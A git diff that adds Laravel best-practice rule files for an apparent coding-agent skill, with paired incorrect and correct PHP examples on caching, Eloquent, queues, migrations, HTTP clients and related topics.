+++ b/.agents/skills/laravel-best-practices/rules/caching.md
@@ -0,0 +1,70 @@
+# Caching Best Practices
+
+## Use `Cache::remember()` Instead of Manual Get/Put
+
+Atomic pattern prevents race conditions and removes boilerplate.
+
+Incorrect:
+```php
+$val = Cache::get('stats');
+if (! $val) {
+ $val = $this->computeStats();
+ Cache::put('stats', $val, 60);
+}
+```
+
+Correct:
+```php
+$val = Cache::remember('stats', 60, fn () => $this->computeStats());
+```
+
+## Use `Cache::flexible()` for Stale-While-Revalidate
+
+On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background.
+
+Incorrect: `Cache::remember('users', 300, fn () => User::all());`
+
+Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function.
+
+## Use `Cache::memo()` to Avoid Redundant Hits Within a Request
+
+If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory.
+
+`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5.
+
+## Use Cache Tags to Invalidate Related Groups
+
+Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`.
+
+```php
+Cache::tags(['user-1'])->flush();
+```
+
+## Use `Cache::add()` for Atomic Conditional Writes
+
+`add()` only writes if the key does not exist — atomic, no race condition between checking and writing.
+
+Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }`
+
+Correct: `Cache::add('lock', true, 10);`
+
+## Use `once()` for Per-Request Memoization
+
+`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory.
+
+```php
+public function roles(): Collection
+{
+ return once(fn () => $this->loadRoles());
+}
+```
+
+Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching.
+
+## Configure Failover Cache Stores in Production
+
+If Redis goes down, the app falls back to a secondary store automatically.
+
+```php
+'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']],
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/collections.md b/.agents/skills/laravel-best-practices/rules/collections.md
new file mode 100644
index 000000000..14f683d32
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/collections.md
@@ -0,0 +1,44 @@
+# Collection Best Practices
+
+## Use Higher-Order Messages for Simple Operations
+
+Incorrect:
+```php
+$users->each(function (User $user) {
+ $user->markAsVip();
+});
+```
+
+Correct: `$users->each->markAsVip();`
+
+Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc.
+
+## Choose `cursor()` vs. `lazy()` Correctly
+
+- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk).
+- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading.
+
+Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored.
+
+Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work.
+
+## Use `lazyById()` When Updating Records While Iterating
+
+`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation.
+
+## Use `toQuery()` for Bulk Operations on Collections
+
+Avoids manual `whereIn` construction.
+
+Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);`
+
+Correct: `$users->toQuery()->update([...]);`
+
+## Use `#[CollectedBy]` for Custom Collection Classes
+
+More declarative than overriding `newCollection()`.
+
+```php
+#[CollectedBy(UserCollection::class)]
+class User extends Model {}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/config.md b/.agents/skills/laravel-best-practices/rules/config.md
new file mode 100644
index 000000000..8fd8f536f
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/config.md
@@ -0,0 +1,73 @@
+# Configuration Best Practices
+
+## `env()` Only in Config Files
+
+Direct `env()` calls return `null` when config is cached.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'key' => env('API_KEY'),
+
+// Application code
+$key = config('services.key');
+```
+
+## Use Encrypted Env or External Secrets
+
+Never store production secrets in plain `.env` files in version control.
+
+Incorrect:
+```bash
+
+# .env committed to repo or shared in Slack
+
+STRIPE_SECRET=sk_live_abc123
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
+```
+
+Correct:
+```bash
+php artisan env:encrypt --env=production --readable
+php artisan env:decrypt --env=production
+```
+
+For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime.
+
+## Use `App::environment()` for Environment Checks
+
+Incorrect:
+```php
+if (env('APP_ENV') === 'production') {
+```
+
+Correct:
+```php
+if (app()->isProduction()) {
+// or
+if (App::environment('production')) {
+```
+
+## Use Constants and Language Files
+
+Use class constants instead of hardcoded magic strings for model states, types, and statuses.
+
+```php
+// Incorrect
+return $this->type === 'normal';
+
+// Correct
+return $this->type === self::TYPE_NORMAL;
+```
+
+If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there.
+
+```php
+// Only when lang files already exist in the project
+return back()->with('message', __('app.article_added'));
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/db-performance.md b/.agents/skills/laravel-best-practices/rules/db-performance.md
new file mode 100644
index 000000000..8fb719377
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/db-performance.md
@@ -0,0 +1,192 @@
+# Database Performance Best Practices
+
+## Always Eager Load Relationships
+
+Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront.
+
+Incorrect (N+1 — executes 1 + N queries):
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Correct (2 queries total):
+```php
+$posts = Post::with('author')->get();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Constrain eager loads to select only needed columns (always include the foreign key):
+
+```php
+$users = User::with(['posts' => function ($query) {
+ $query->select('id', 'user_id', 'title')
+ ->where('published', true)
+ ->latest()
+ ->limit(10);
+}])->get();
+```
+
+## Prevent Lazy Loading in Development
+
+Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development.
+
+```php
+public function boot(): void
+{
+ Model::preventLazyLoading(! app()->isProduction());
+}
+```
+
+Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded.
+
+## Select Only Needed Columns
+
+Avoid `SELECT *` — especially when tables have large text or JSON columns.
+
+Incorrect:
+```php
+$posts = Post::with('author')->get();
+```
+
+Correct:
+```php
+$posts = Post::select('id', 'title', 'user_id', 'created_at')
+ ->with(['author:id,name,avatar'])
+ ->get();
+```
+
+When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match.
+
+## Chunk Large Datasets
+
+Never load thousands of records at once. Use chunking for batch processing.
+
+Incorrect:
+```php
+$users = User::all();
+foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+}
+```
+
+Correct:
+```php
+User::where('subscribed', true)->chunk(200, function ($users) {
+ foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+ }
+});
+```
+
+Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change:
+
+```php
+User::where('active', false)->chunkById(200, function ($users) {
+ $users->each->delete();
+});
+```
+
+## Add Database Indexes
+
+Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->index()->constrained();
+ $table->string('status')->index();
+ $table->timestamps();
+ $table->index(['status', 'created_at']);
+});
+```
+
+Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`).
+
+## Use `withCount()` for Counting Relations
+
+Never load entire collections just to count them.
+
+Incorrect:
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->comments->count();
+}
+```
+
+Correct:
+```php
+$posts = Post::withCount('comments')->get();
+foreach ($posts as $post) {
+ echo $post->comments_count;
+}
+```
+
+Conditional counting:
+
+```php
+$posts = Post::withCount([
+ 'comments',
+ 'comments as approved_comments_count' => function ($query) {
+ $query->where('approved', true);
+ },
+])->get();
+```
+
+## Use `cursor()` for Memory-Efficient Iteration
+
+For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator.
+
+Incorrect:
+```php
+$users = User::where('active', true)->get();
+```
+
+Correct:
+```php
+foreach (User::where('active', true)->cursor() as $user) {
+ ProcessUser::dispatch($user->id);
+}
+```
+
+Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records.
+
+## No Queries in Blade Templates
+
+Never execute queries in Blade templates. Pass data from controllers.
+
+Incorrect:
+```blade
+@foreach (User::all() as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
+
+Correct:
+```php
+// Controller
+$users = User::with('profile')->get();
+return view('users.index', compact('users'));
+```
+
+```blade
+@foreach ($users as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/eloquent.md b/.agents/skills/laravel-best-practices/rules/eloquent.md
new file mode 100644
index 000000000..09cd66a05
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/eloquent.md
@@ -0,0 +1,148 @@
+# Eloquent Best Practices
+
+## Use Correct Relationship Types
+
+Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints.
+
+```php
+public function comments(): HasMany
+{
+ return $this->hasMany(Comment::class);
+}
+
+public function author(): BelongsTo
+{
+ return $this->belongsTo(User::class, 'user_id');
+}
+```
+
+## Use Local Scopes for Reusable Queries
+
+Extract reusable query constraints into local scopes to avoid duplication.
+
+Incorrect:
+```php
+$active = User::where('verified', true)->whereNotNull('activated_at')->get();
+$articles = Article::whereHas('user', function ($q) {
+ $q->where('verified', true)->whereNotNull('activated_at');
+})->get();
+```
+
+Correct:
+```php
+public function scopeActive(Builder $query): Builder
+{
+ return $query->where('verified', true)->whereNotNull('activated_at');
+}
+
+// Usage
+$active = User::active()->get();
+$articles = Article::whereHas('user', fn ($q) => $q->active())->get();
+```
+
+## Apply Global Scopes Sparingly
+
+Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy.
+
+Incorrect (global scope for a conditional filter):
+```php
+class PublishedScope implements Scope
+{
+ public function apply(Builder $builder, Model $model): void
+ {
+ $builder->where('published', true);
+ }
+}
+// Now admin panels, reports, and background jobs all silently skip drafts
+```
+
+Correct (local scope you opt into):
+```php
+public function scopePublished(Builder $query): Builder
+{
+ return $query->where('published', true);
+}
+
+Post::published()->paginate(); // Explicit
+Post::paginate(); // Admin sees all
+```
+
+## Define Attribute Casts
+
+Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion.
+
+```php
+protected function casts(): array
+{
+ return [
+ 'is_active' => 'boolean',
+ 'metadata' => 'array',
+ 'total' => 'decimal:2',
+ ];
+}
+```
+
+## Cast Date Columns Properly
+
+Always cast date columns. Use Carbon instances in templates instead of formatting strings manually.
+
+Incorrect:
+```blade
+{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }}
+```
+
+Correct:
+```php
+protected function casts(): array
+{
+ return [
+ 'ordered_at' => 'datetime',
+ ];
+}
+```
+
+```blade
+{{ $order->ordered_at->toDateString() }}
+{{ $order->ordered_at->format('m-d') }}
+```
+
+## Use `whereBelongsTo()` for Relationship Queries
+
+Cleaner than manually specifying foreign keys.
+
+Incorrect:
+```php
+Post::where('user_id', $user->id)->get();
+```
+
+Correct:
+```php
+Post::whereBelongsTo($user)->get();
+Post::whereBelongsTo($user, 'author')->get();
+```
+
+## Avoid Hardcoded Table Names in Queries
+
+Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string).
+
+Incorrect:
+```php
+DB::table('users')->where('active', true)->get();
+
+$query->join('companies', 'companies.id', '=', 'users.company_id');
+
+DB::select('SELECT * FROM orders WHERE status = ?', ['pending']);
+```
+
+Correct — reference the model's table:
+```php
+DB::table((new User)->getTable())->where('active', true)->get();
+
+// Even better — use Eloquent or the query builder instead of raw SQL
+User::where('active', true)->get();
+Order::where('status', 'pending')->get();
+```
+
+Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable.
+
+**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/error-handling.md b/.agents/skills/laravel-best-practices/rules/error-handling.md
new file mode 100644
index 000000000..bb8e7a387
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/error-handling.md
@@ -0,0 +1,72 @@
+# Error Handling Best Practices
+
+## Exception Reporting and Rendering
+
+There are two valid approaches — choose one and apply it consistently across the project.
+
+**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find:
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function report(): void { /* custom reporting */ }
+
+ public function render(Request $request): Response
+ {
+ return response()->view('errors.invalid-order', status: 422);
+ }
+}
+```
+
+**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture:
+
+```php
+->withExceptions(function (Exceptions $exceptions) {
+ $exceptions->report(function (InvalidOrderException $e) { /* ... */ });
+ $exceptions->render(function (InvalidOrderException $e, Request $request) {
+ return response()->view('errors.invalid-order', status: 422);
+ });
+})
+```
+
+Check the existing codebase and follow whichever pattern is already established.
+
+## Use `ShouldntReport` for Exceptions That Should Never Log
+
+More discoverable than listing classes in `dontReport()`.
+
+```php
+class PodcastProcessingException extends Exception implements ShouldntReport {}
+```
+
+## Throttle High-Volume Exceptions
+
+A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type.
+
+## Enable `dontReportDuplicates()`
+
+Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks.
+
+## Force JSON Error Rendering for API Routes
+
+Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes.
+
+```php
+$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) {
+ return $request->is('api/*') || $request->expectsJson();
+});
+```
+
+## Add Context to Exception Classes
+
+Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry.
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function context(): array
+ {
+ return ['order_id' => $this->orderId];
+ }
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/events-notifications.md b/.agents/skills/laravel-best-practices/rules/events-notifications.md
new file mode 100644
index 000000000..bc43f1997
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/events-notifications.md
@@ -0,0 +1,48 @@
+# Events & Notifications Best Practices
+
+## Rely on Event Discovery
+
+Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`.
+
+## Run `event:cache` in Production Deploy
+
+Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`.
+
+## Use `ShouldDispatchAfterCommit` Inside Transactions
+
+Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet.
+
+```php
+class OrderShipped implements ShouldDispatchAfterCommit {}
+```
+
+## Always Queue Notifications
+
+Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response.
+
+```php
+class InvoicePaid extends Notification implements ShouldQueue
+{
+ use Queueable;
+}
+```
+
+## Use `afterCommit()` on Notifications in Transactions
+
+Same race condition as events — the queued notification job may run before the transaction commits.
+
+## Route Notification Channels to Dedicated Queues
+
+Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues.
+
+## Use On-Demand Notifications for Non-User Recipients
+
+Avoid creating dummy models to send notifications to arbitrary addresses.
+
+```php
+Notification::route('mail', 'admin@example.com')->notify(new SystemAlert());
+```
+
+## Implement `HasLocalePreference` on Notifiable Models
+
+Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/http-client.md b/.agents/skills/laravel-best-practices/rules/http-client.md
new file mode 100644
index 000000000..0a7876ed3
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/http-client.md
@@ -0,0 +1,160 @@
+# HTTP Client Best Practices
+
+## Always Set Explicit Timeouts
+
+The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users');
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->connectTimeout(3)
+ ->get('https://api.example.com/users');
+```
+
+For service-specific clients, define timeouts in a macro:
+
+```php
+Http::macro('github', function () {
+ return Http::baseUrl('https://api.github.com')
+ ->timeout(10)
+ ->connectTimeout(3)
+ ->withToken(config('services.github.token'));
+});
+
+$response = Http::github()->get('/repos/laravel/framework');
+```
+
+## Use Retry with Backoff for External APIs
+
+External APIs have transient failures. Use `retry()` with increasing delays.
+
+Incorrect:
+```php
+$response = Http::post('https://api.stripe.com/v1/charges', $data);
+
+if ($response->failed()) {
+ throw new PaymentFailedException('Charge failed');
+}
+```
+
+Correct:
+```php
+$response = Http::retry([100, 500, 1000])
+ ->timeout(10)
+ ->post('https://api.stripe.com/v1/charges', $data);
+```
+
+Only retry on specific errors:
+
+```php
+$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) {
+ return $exception instanceof ConnectionException
+ || ($exception instanceof RequestException && $exception->response->serverError());
+})->post('https://api.example.com/data');
+```
+
+## Handle Errors Explicitly
+
+The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users/1');
+$user = $response->json(); // Could be an error body
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->get('https://api.example.com/users/1')
+ ->throw();
+
+$user = $response->json();
+```
+
+For graceful degradation:
+
+```php
+$response = Http::get('https://api.example.com/users/1');
+
+if ($response->successful()) {
+ return $response->json();
+}
+
+if ($response->notFound()) {
+ return null;
+}
+
+$response->throw();
+```
+
+## Use Request Pooling for Concurrent Requests
+
+When making multiple independent API calls, use `Http::pool()` instead of sequential calls.
+
+Incorrect:
+```php
+$users = Http::get('https://api.example.com/users')->json();
+$posts = Http::get('https://api.example.com/posts')->json();
+$comments = Http::get('https://api.example.com/comments')->json();
+```
+
+Correct:
+```php
+use Illuminate\Http\Client\Pool;
+
+$responses = Http::pool(fn (Pool $pool) => [
+ $pool->as('users')->get('https://api.example.com/users'),
+ $pool->as('posts')->get('https://api.example.com/posts'),
+ $pool->as('comments')->get('https://api.example.com/comments'),
+]);
+
+$users = $responses['users']->json();
+$posts = $responses['posts']->json();
+```
+
+## Fake HTTP Calls in Tests
+
+Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`.
+
+Incorrect:
+```php
+it('syncs user from API', function () {
+ $service = new UserSyncService;
+ $service->sync(1); // Hits the real API
+});
+```
+
+Correct:
+```php
+it('syncs user from API', function () {
+ Http::preventStrayRequests();
+
+ Http::fake([
+ 'api.example.com/users/1' => Http::response([
+ 'name' => 'John Doe',
+ 'email' => 'john@example.com',
+ ]),
+ ]);
+
+ $service = new UserSyncService;
+ $service->sync(1);
+
+ Http::assertSent(function (Request $request) {
+ return $request->url() === 'https://api.example.com/users/1';
+ });
+});
+```
+
+Test failure scenarios too:
+
+```php
+Http::fake([
+ 'api.example.com/*' => Http::failedConnection(),
+]);
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/mail.md b/.agents/skills/laravel-best-practices/rules/mail.md
new file mode 100644
index 000000000..c7f67966e
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/mail.md
@@ -0,0 +1,27 @@
+# Mail Best Practices
+
+## Implement `ShouldQueue` on the Mailable Class
+
+Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it.
+
+## Use `afterCommit()` on Mailables Inside Transactions
+
+A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor.
+
+## Use `assertQueued()` Not `assertSent()` for Queued Mailables
+
+`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence.
+
+Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`.
+
+Correct: `Mail::assertQueued(OrderShipped::class);`
+
+## Use Markdown Mailables for Transactional Emails
+
+Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag.
+
+## Separate Content Tests from Sending Tests
+
+Content tests: instantiate the mailable directly, call `assertSeeInHtml()`.
+Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`.
+Don't mix them — it conflates concerns and makes tests brittle.
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/migrations.md b/.agents/skills/laravel-best-practices/rules/migrations.md
new file mode 100644
index 000000000..de25aa39c
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/migrations.md
@@ -0,0 +1,121 @@
+# Migration Best Practices
+
+## Generate Migrations with Artisan
+
+Always use `php artisan make:migration` for consistent naming and timestamps.
+
+Incorrect (manually created file):
+```php
+// database/migrations/posts_migration.php ← wrong naming, no timestamp
+```
+
+Correct (Artisan-generated):
+```bash
+php artisan make:migration create_posts_table
+php artisan make:migration add_slug_to_posts_table
+```
+
+## Use `constrained()` for Foreign Keys
+
+Automatic naming and referential integrity.
+
+```php
+$table->foreignId('user_id')->constrained()->cascadeOnDelete();
+
+// Non-standard names
+$table->foreignId('author_id')->constrained('users');
+```
+
+## Never Modify Deployed Migrations
+
+Once a migration has run in production, treat it as immutable. Create a new migration to change the table.
+
+Incorrect (editing a deployed migration):
+```php
+// 2024_01_01_create_posts_table.php — already in production
+$table->string('slug')->unique(); // ← added after deployment
+```
+
+Correct (new migration to alter):
+```php
+// 2024_03_15_add_slug_to_posts_table.php
+Schema::table('posts', function (Blueprint $table) {
+ $table->string('slug')->unique()->after('title');
+});
+```
+
+## Add Indexes in the Migration
+
+Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained()->index();
+ $table->string('status')->index();
+ $table->timestamp('shipped_at')->nullable()->index();
+ $table->timestamps();
+});
+```
+
+## Mirror Defaults in Model `$attributes`
+
+When a column has a database default, mirror it in the model so new instances have correct values before saving.
+
+```php
+// Migration
+$table->string('status')->default('pending');
+
+// Model
+protected $attributes = [
+ 'status' => 'pending',
+];
+```
+
+## Write Reversible `down()` Methods by Default
+
+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments.
+
+```php
+public function down(): void
+{
+ Schema::table('posts', function (Blueprint $table) {
+ $table->dropColumn('slug');
+ });
+}
+```
+
+For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported.
+
+## Keep Migrations Focused
+
+One concern per migration. Never mix DDL (schema changes) and DML (data manipulation).
+
+Incorrect (partial failure creates unrecoverable state):
+```php
+public function up(): void
+{
+ Schema::create('settings', function (Blueprint $table) { ... });
+ DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+}
+```
+
+Correct (separate migrations):
+```php
+// Migration 1: create_settings_table
+Schema::create('settings', function (Blueprint $table) { ... });
+
+// Migration 2: seed_default_settings
+DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/queue-jobs.md b/.agents/skills/laravel-best-practices/rules/queue-jobs.md
new file mode 100644
index 000000000..d4575aac0
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/queue-jobs.md
@@ -0,0 +1,146 @@
+# Queue & Job Best Practices
+
+## Set `retry_after` Greater Than `timeout`
+
+If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution.
+
+Incorrect (`retry_after` ≤ `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 90 ← job retried while still running!
+```
+
+Correct (`retry_after` > `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 180 ← safely longer than any job timeout
+```
+
+## Use Exponential Backoff
+
+Use progressively longer delays between retries to avoid hammering failing services.
+
+Incorrect (fixed retry interval):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ // Default: retries immediately, overwhelming the API
+}
+```
+
+Correct (exponential backoff):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ public $backoff = [1, 5, 10];
+}
+```
+
+## Implement `ShouldBeUnique`
+
+Prevent duplicate job processing.
+
+```php
+class GenerateInvoice implements ShouldQueue, ShouldBeUnique
+{
+ public function uniqueId(): string
+ {
+ return $this->order->id;
+ }
+
+ public $uniqueFor = 3600;
+}
+```
+
+## Always Implement `failed()`
+
+Handle errors explicitly — don't rely on silent failure.
+
+```php
+public function failed(?Throwable $exception): void
+{
+ $this->podcast->update(['status' => 'failed']);
+ Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]);
+}
+```
+
+## Rate Limit External API Calls in Jobs
+
+Use `RateLimited` middleware to throttle jobs calling third-party APIs.
+
+```php
+public function middleware(): array
+{
+ return [new RateLimited('external-api')];
+}
+```
+
+## Batch Related Jobs
+
+Use `Bus::batch()` when jobs should succeed or fail together.
+
+```php
+Bus::batch([
+ new ImportCsvChunk($chunk1),
+ new ImportCsvChunk($chunk2),
+])
+->then(fn (Batch $batch) => Notification::send($user, new ImportComplete))
+->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed'))
+->dispatch();
+```
+
+## `retryUntil()` Needs `$tries = 0`
+
+When using time-based retry limits, set `$tries = 0` to avoid premature failure.
+
+```php
+public $tries = 0;
+
+public function retryUntil(): DateTime
+{
+ return now()->addHours(4);
+}
+```
+
+## Use `WithoutOverlapping::untilProcessing()`
+
+Prevents concurrent execution while allowing new instances to queue.
+
+```php
+public function middleware(): array
+{
+ return [new WithoutOverlapping($this->product->id)->untilProcessing()];
+}
+```
+
+Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts.
+
+## Use Horizon for Complex Queue Scenarios
+
+Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities.
+
+```php
+// config/horizon.php
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['high', 'default', 'low'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+ ],
+],
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/routing.md b/.agents/skills/laravel-best-practices/rules/routing.md
new file mode 100644
index 000000000..e288375d7
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/routing.md
@@ -0,0 +1,98 @@
+# Routing & Controllers Best Practices
+
+## Use Implicit Route Model Binding
+
+Let Laravel resolve models automatically from route parameters.
+
+Incorrect:
+```php
+public function show(int $id)
+{
+ $post = Post::findOrFail($id);
+}
+```
+
+Correct:
+```php
+public function show(Post $post)
+{
+ return view('posts.show', ['post' => $post]);
+}
+```
+
+## Use Scoped Bindings for Nested Resources
+
+Enforce parent-child relationships automatically.
+
+```php
+Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) {
+ // $post is automatically scoped to $user
+})->scopeBindings();
+```
+
+## Use Resource Controllers
+
+Use `Route::resource()` or `apiResource()` for RESTful endpoints.
+
+```php
+Route::resource('posts', PostController::class);
+Route::apiResource('api/posts', Api\PostController::class);
+```
+
+## Keep Controllers Thin
+
+Aim for under 10 lines per method. Extract business logic to action or service classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $validated = $request->validate([...]);
+ if ($request->hasFile('image')) {
+ $request->file('image')->move(public_path('images'));
+ }
+ $post = Post::create($validated);
+ $post->tags()->sync($validated['tags']);
+ event(new PostCreated($post));
+ return redirect()->route('posts.show', $post);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request, CreatePostAction $create)
+{
+ $post = $create->execute($request->validated());
+
+ return redirect()->route('posts.show', $post);
+}
+```
+
+## Type-Hint Form Requests
+
+Type-hinting Form Requests triggers automatic validation and authorization before the method executes.
+
+Incorrect:
+```php
+public function store(Request $request): RedirectResponse
+{
+ $validated = $request->validate([
+ 'title' => ['required', 'max:255'],
+ 'body' => ['required'],
+ ]);
+
+ Post::create($validated);
+
+ return redirect()->route('posts.index');
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request): RedirectResponse
+{
+ Post::create($request->validated());
+
+ return redirect()->route('posts.index');
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/scheduling.md b/.agents/skills/laravel-best-practices/rules/scheduling.md
new file mode 100644
index 000000000..dfaefa26f
--- /dev/null
